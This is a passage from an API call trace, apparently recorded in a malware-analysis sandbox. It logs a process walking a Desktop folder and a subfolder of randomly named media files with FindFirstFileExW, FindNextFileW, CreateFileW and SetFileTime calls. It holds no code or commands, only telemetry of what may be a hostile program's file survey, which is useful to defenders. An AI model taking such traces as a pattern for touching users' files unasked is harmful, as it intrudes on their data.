ftLastAccessTime.dwHighDateTime=0x1d5c10b, ftLastWriteTime.dwLowDateTime=0x1e0b8490, ftLastWriteTime.dwHighDateTime=0x1d5c10b, nFileSizeHigh=0x0, nFileSizeLow=0x1ad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DKxldbknImfp9PM.bmp", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6e8ac0, ftCreationTime.dwHighDateTime=0x1d5b94d, ftLastAccessTime.dwLowDateTime=0x68ab9320, ftLastAccessTime.dwHighDateTime=0x1d5c0eb, ftLastWriteTime.dwLowDateTime=0x68ab9320, ftLastWriteTime.dwHighDateTime=0x1d5c0eb, nFileSizeHigh=0x0, nFileSizeLow=0xad9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eD3U-nkwGn12.mkv", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb3c190, ftCreationTime.dwHighDateTime=0x1d5ba6d, ftLastAccessTime.dwLowDateTime=0xe604ecc0, ftLastAccessTime.dwHighDateTime=0x1d5b9d6, ftLastWriteTime.dwLowDateTime=0xe604ecc0, ftLastWriteTime.dwHighDateTime=0x1d5b9d6, nFileSizeHigh=0x0, nFileSizeLow=0xb9a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="esYikCpSCv.flv", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5083e90, ftCreationTime.dwHighDateTime=0x1d5bb00, ftLastAccessTime.dwLowDateTime=0xab0e5800, ftLastAccessTime.dwHighDateTime=0x1d5be76, ftLastWriteTime.dwLowDateTime=0xab0e5800, ftLastWriteTime.dwHighDateTime=0x1d5be76, nFileSizeHigh=0x0, nFileSizeLow=0x7917, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ff5N_ KIxSerJInLKyK.bmp", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e2b8cb0, ftCreationTime.dwHighDateTime=0x1d5bf7e, ftLastAccessTime.dwLowDateTime=0x8b1f22d0, ftLastAccessTime.dwHighDateTime=0x1d5b9f4, ftLastWriteTime.dwLowDateTime=0x8b1f22d0, ftLastWriteTime.dwHighDateTime=0x1d5b9f4, nFileSizeHigh=0x0, nFileSizeLow=0xcdf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="gBhlkGk.m4a", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3104a0c0, ftCreationTime.dwHighDateTime=0x1d5bbd6, ftLastAccessTime.dwLowDateTime=0xecce6b0, ftLastAccessTime.dwHighDateTime=0x1d5be9d, ftLastWriteTime.dwLowDateTime=0xecce6b0, ftLastWriteTime.dwHighDateTime=0x1d5be9d, nFileSizeHigh=0x0, nFileSizeLow=0x10acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ggBmcap.png", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdfc05c0, ftCreationTime.dwHighDateTime=0x1d5b610, ftLastAccessTime.dwLowDateTime=0xfaf74d40, ftLastAccessTime.dwHighDateTime=0x1d5bbba, ftLastWriteTime.dwLowDateTime=0xfaf74d40, ftLastWriteTime.dwHighDateTime=0x1d5bbba, nFileSizeHigh=0x0, nFileSizeLow=0x1dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IS232v3zCb07kwa9_3.swf", cAlternateFileName="")) returned 1 [0090.573] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3973a3d0, ftCreationTime.dwHighDateTime=0x1d5b70f, ftLastAccessTime.dwLowDateTime=0x59ac41b0, ftLastAccessTime.dwHighDateTime=0x1d5bffd, ftLastWriteTime.dwLowDateTime=0x59ac41b0, ftLastWriteTime.dwHighDateTime=0x1d5bffd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="k8HQvfHA2L3zlCZm_P2h", cAlternateFileName="")) returned 1 [0090.573] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k8HQvfHA2L3zlCZm_P2h" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k8hqvfha2l3zlczm_p2h"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3973a3d0, ftCreationTime.dwHighDateTime=0x1d5b70f, ftLastAccessTime.dwLowDateTime=0x59ac41b0, ftLastAccessTime.dwHighDateTime=0x1d5bffd, ftLastWriteTime.dwLowDateTime=0x59ac41b0, ftLastWriteTime.dwHighDateTime=0x1d5bffd, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.574] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k8HQvfHA2L3zlCZm_P2h" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k8hqvfha2l3zlczm_p2h"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.574] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.574] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.574] NtClose (Handle=0x178) returned 0x0 [0090.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f13b0 [0090.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1438 [0090.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k8HQvfHA2L3zlCZm_P2h\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0090.575] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3973a3d0, ftCreationTime.dwHighDateTime=0x1d5b70f, ftLastAccessTime.dwLowDateTime=0x59ac41b0, ftLastAccessTime.dwHighDateTime=0x1d5bffd, ftLastWriteTime.dwLowDateTime=0x59ac41b0, ftLastWriteTime.dwHighDateTime=0x1d5bffd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.577] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8c2c990, ftCreationTime.dwHighDateTime=0x1d5c2d7, ftLastAccessTime.dwLowDateTime=0xd97af8d0, ftLastAccessTime.dwHighDateTime=0x1d5b87f, ftLastWriteTime.dwLowDateTime=0xd97af8d0, ftLastWriteTime.dwHighDateTime=0x1d5b87f, nFileSizeHigh=0x0, nFileSizeLow=0xd09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="5IA0G2tKbrSIcWByz.wav", cAlternateFileName="")) returned 1 [0090.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f13b0) returned 1 [0090.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5178 [0090.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c8b8 [0090.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.579] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x769a6910, ftCreationTime.dwHighDateTime=0x1d5c254, ftLastAccessTime.dwLowDateTime=0x93d78d10, ftLastAccessTime.dwHighDateTime=0x1d5b600, ftLastWriteTime.dwLowDateTime=0x93d78d10, ftLastWriteTime.dwHighDateTime=0x1d5b600, nFileSizeHigh=0x0, nFileSizeLow=0xbe6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="dX NPWEfl.mp4", cAlternateFileName="")) returned 1 [0090.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5198 [0090.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d410 [0090.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.580] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9508c380, ftCreationTime.dwHighDateTime=0x1d5c3c9, ftLastAccessTime.dwLowDateTime=0xd823c940, ftLastAccessTime.dwHighDateTime=0x1d5bb1c, ftLastWriteTime.dwLowDateTime=0xd823c940, ftLastWriteTime.dwHighDateTime=0x1d5bb1c, nFileSizeHigh=0x0, nFileSizeLow=0xebd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="nohN6fQSatD3.swf", cAlternateFileName="")) returned 1 [0090.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f51b8 [0090.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d518 [0090.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.582] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb860170, ftCreationTime.dwHighDateTime=0x1d5b73c, ftLastAccessTime.dwLowDateTime=0x82eee680, ftLastAccessTime.dwHighDateTime=0x1d5bad6, ftLastWriteTime.dwLowDateTime=0x82eee680, ftLastWriteTime.dwHighDateTime=0x1d5bad6, nFileSizeHigh=0x0, nFileSizeLow=0x1605e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WcF-G.gif", cAlternateFileName="")) returned 1 [0090.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f51d8 [0090.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d620 [0090.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f14c0) returned 1 [0090.583] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb860170, ftCreationTime.dwHighDateTime=0x1d5b73c, ftLastAccessTime.dwLowDateTime=0x82eee680, ftLastAccessTime.dwHighDateTime=0x1d5bad6, ftLastWriteTime.dwLowDateTime=0x82eee680, ftLastWriteTime.dwHighDateTime=0x1d5bad6, nFileSizeHigh=0x0, nFileSizeLow=0x1605e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WcF-G.gif", cAlternateFileName="")) returned 0 [0090.583] GetLastError () returned 0x12 [0090.583] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k8HQvfHA2L3zlCZm_P2h\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0090.584] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3973a3d0, ftCreationTime.dwHighDateTime=0x1d5b70f, ftLastAccessTime.dwLowDateTime=0x59ac41b0, ftLastAccessTime.dwHighDateTime=0x1d5bffd, ftLastWriteTime.dwLowDateTime=0x59ac41b0, ftLastWriteTime.dwHighDateTime=0x1d5bffd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8c2c990, ftCreationTime.dwHighDateTime=0x1d5c2d7, ftLastAccessTime.dwLowDateTime=0xd97af8d0, ftLastAccessTime.dwHighDateTime=0x1d5b87f, ftLastWriteTime.dwLowDateTime=0xd97af8d0, ftLastWriteTime.dwHighDateTime=0x1d5b87f, nFileSizeHigh=0x0, nFileSizeLow=0xd09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="5IA0G2tKbrSIcWByz.wav", cAlternateFileName="")) returned 1 [0090.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x769a6910, ftCreationTime.dwHighDateTime=0x1d5c254, ftLastAccessTime.dwLowDateTime=0x93d78d10, ftLastAccessTime.dwHighDateTime=0x1d5b600, ftLastWriteTime.dwLowDateTime=0x93d78d10, ftLastWriteTime.dwHighDateTime=0x1d5b600, nFileSizeHigh=0x0, nFileSizeLow=0xbe6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="dX NPWEfl.mp4", cAlternateFileName="")) returned 1 [0090.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9508c380, ftCreationTime.dwHighDateTime=0x1d5c3c9, ftLastAccessTime.dwLowDateTime=0xd823c940, ftLastAccessTime.dwHighDateTime=0x1d5bb1c, ftLastWriteTime.dwLowDateTime=0xd823c940, ftLastWriteTime.dwHighDateTime=0x1d5bb1c, nFileSizeHigh=0x0, nFileSizeLow=0xebd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="nohN6fQSatD3.swf", cAlternateFileName="")) returned 1 [0090.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb860170, ftCreationTime.dwHighDateTime=0x1d5b73c, ftLastAccessTime.dwLowDateTime=0x82eee680, ftLastAccessTime.dwHighDateTime=0x1d5bad6, ftLastWriteTime.dwLowDateTime=0x82eee680, ftLastWriteTime.dwHighDateTime=0x1d5bad6, nFileSizeHigh=0x0, nFileSizeLow=0x1605e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WcF-G.gif", cAlternateFileName="")) returned 1 [0090.584] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb860170, ftCreationTime.dwHighDateTime=0x1d5b73c, ftLastAccessTime.dwLowDateTime=0x82eee680, ftLastAccessTime.dwHighDateTime=0x1d5bad6, ftLastWriteTime.dwLowDateTime=0x82eee680, ftLastWriteTime.dwHighDateTime=0x1d5bad6, nFileSizeHigh=0x0, nFileSizeLow=0x1605e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WcF-G.gif", cAlternateFileName="")) returned 0 [0090.584] GetLastError () returned 0x12 [0090.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1438) returned 1 [0090.584] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702f9f90, ftCreationTime.dwHighDateTime=0x1d5c55c, ftLastAccessTime.dwLowDateTime=0x3c3e610, ftLastAccessTime.dwHighDateTime=0x1d5bfba, ftLastWriteTime.dwLowDateTime=0x3c3e610, ftLastWriteTime.dwHighDateTime=0x1d5bfba, nFileSizeHigh=0x0, nFileSizeLow=0x705d, dwReserved0=0x0, dwReserved1=0x0, cFileName="kLGG2k3NDcFRjX36CI.flv", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e268d0, ftCreationTime.dwHighDateTime=0x1d5c09f, ftLastAccessTime.dwLowDateTime=0xd9cc1930, ftLastAccessTime.dwHighDateTime=0x1d5b786, ftLastWriteTime.dwLowDateTime=0xd9cc1930, ftLastWriteTime.dwHighDateTime=0x1d5b786, nFileSizeHigh=0x0, nFileSizeLow=0x1584a, dwReserved0=0x0, dwReserved1=0x0, cFileName="kZ6K0k82 YWzJk_.gif", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0962dd0, ftCreationTime.dwHighDateTime=0x1d5c331, ftLastAccessTime.dwLowDateTime=0x3ee0a1f0, ftLastAccessTime.dwHighDateTime=0x1d5c606, ftLastWriteTime.dwLowDateTime=0x3ee0a1f0, ftLastWriteTime.dwHighDateTime=0x1d5c606, nFileSizeHigh=0x0, nFileSizeLow=0xe791, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lt DlLig.jpg", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe65c6da0, ftCreationTime.dwHighDateTime=0x1d5bd2e, ftLastAccessTime.dwLowDateTime=0x7df68410, ftLastAccessTime.dwHighDateTime=0x1d5b880, ftLastWriteTime.dwLowDateTime=0x7df68410, ftLastWriteTime.dwHighDateTime=0x1d5b880, nFileSizeHigh=0x0, nFileSizeLow=0x161f, dwReserved0=0x0, dwReserved1=0x0, cFileName="meBU8u1X_loqW.pptx", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9328430, ftCreationTime.dwHighDateTime=0x1d5becc, ftLastAccessTime.dwLowDateTime=0x9ac346a0, ftLastAccessTime.dwHighDateTime=0x1d5b9ac, ftLastWriteTime.dwLowDateTime=0x9ac346a0, ftLastWriteTime.dwHighDateTime=0x1d5b9ac, nFileSizeHigh=0x0, nFileSizeLow=0xc86e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OkkXId2d.wav", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf422840, ftCreationTime.dwHighDateTime=0x1d5c333, ftLastAccessTime.dwLowDateTime=0x57211690, ftLastAccessTime.dwHighDateTime=0x1d5b9f5, ftLastWriteTime.dwLowDateTime=0x57211690, ftLastWriteTime.dwHighDateTime=0x1d5b9f5, nFileSizeHigh=0x0, nFileSizeLow=0x17f2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="QB3o.gif", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbabbd20, ftCreationTime.dwHighDateTime=0x1d5c454, ftLastAccessTime.dwLowDateTime=0xba258800, ftLastAccessTime.dwHighDateTime=0x1d5c0f5, ftLastWriteTime.dwLowDateTime=0xba258800, ftLastWriteTime.dwHighDateTime=0x1d5c0f5, nFileSizeHigh=0x0, nFileSizeLow=0xe9a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="tlrg-MxsLN.m4a", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab4814c0, ftCreationTime.dwHighDateTime=0x1d5b767, ftLastAccessTime.dwLowDateTime=0xc3fd77c0, ftLastAccessTime.dwHighDateTime=0x1d5bd1c, ftLastWriteTime.dwLowDateTime=0xc3fd77c0, ftLastWriteTime.dwHighDateTime=0x1d5bd1c, nFileSizeHigh=0x0, nFileSizeLow=0x13fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="u269Lm1mC.png", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc367000, ftCreationTime.dwHighDateTime=0x1d5ba4d, ftLastAccessTime.dwLowDateTime=0xdbb7e210, ftLastAccessTime.dwHighDateTime=0x1d5c357, ftLastWriteTime.dwLowDateTime=0xdbb7e210, ftLastWriteTime.dwHighDateTime=0x1d5c357, nFileSizeHigh=0x0, nFileSizeLow=0x16864, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucIcgYprI-p.m4a", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396d530, ftCreationTime.dwHighDateTime=0x1d5c09b, ftLastAccessTime.dwLowDateTime=0xbe86be70, ftLastAccessTime.dwHighDateTime=0x1d5bc43, ftLastWriteTime.dwLowDateTime=0xbe86be70, ftLastWriteTime.dwHighDateTime=0x1d5bc43, nFileSizeHigh=0x0, nFileSizeLow=0x6d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="UJp3.flv", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bc2e6a0, ftCreationTime.dwHighDateTime=0x1d5ba4c, ftLastAccessTime.dwLowDateTime=0x6a54e190, ftLastAccessTime.dwHighDateTime=0x1d5bd62, ftLastWriteTime.dwLowDateTime=0x6a54e190, ftLastWriteTime.dwHighDateTime=0x1d5bd62, nFileSizeHigh=0x0, nFileSizeLow=0x9111, dwReserved0=0x0, dwReserved1=0x0, cFileName="ulXSe.jpg", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eebec0, ftCreationTime.dwHighDateTime=0x1d5bb27, ftLastAccessTime.dwLowDateTime=0xf42ebd0, ftLastAccessTime.dwHighDateTime=0x1d5c294, ftLastWriteTime.dwLowDateTime=0xf42ebd0, ftLastWriteTime.dwHighDateTime=0x1d5c294, nFileSizeHigh=0x0, nFileSizeLow=0x4492, dwReserved0=0x0, dwReserved1=0x0, cFileName="VsFGaID.m4a", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11514b60, ftCreationTime.dwHighDateTime=0x1d5c3f2, ftLastAccessTime.dwLowDateTime=0xd46a1b40, ftLastAccessTime.dwHighDateTime=0x1d5c230, ftLastWriteTime.dwLowDateTime=0xd46a1b40, ftLastWriteTime.dwHighDateTime=0x1d5c230, nFileSizeHigh=0x0, nFileSizeLow=0x25d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="xDEnUyU9-.mkv", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4e0c0, ftCreationTime.dwHighDateTime=0x1d5c11d, ftLastAccessTime.dwLowDateTime=0xce29c460, ftLastAccessTime.dwHighDateTime=0x1d5c44c, ftLastWriteTime.dwLowDateTime=0xce29c460, ftLastWriteTime.dwHighDateTime=0x1d5c44c, nFileSizeHigh=0x0, nFileSizeLow=0xfe94, dwReserved0=0x0, dwReserved1=0x0, cFileName="XnONB.gif", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82cbc90, ftCreationTime.dwHighDateTime=0x1d5b8c9, ftLastAccessTime.dwLowDateTime=0xf5ee97d0, ftLastAccessTime.dwHighDateTime=0x1d5bf9e, ftLastWriteTime.dwLowDateTime=0xf5ee97d0, ftLastWriteTime.dwHighDateTime=0x1d5bf9e, nFileSizeHigh=0x0, nFileSizeLow=0x11854, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y0pZi 3LrEwW9.m4a", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f1ebdd0, ftCreationTime.dwHighDateTime=0x1d5b94c, ftLastAccessTime.dwLowDateTime=0xc2e80b60, 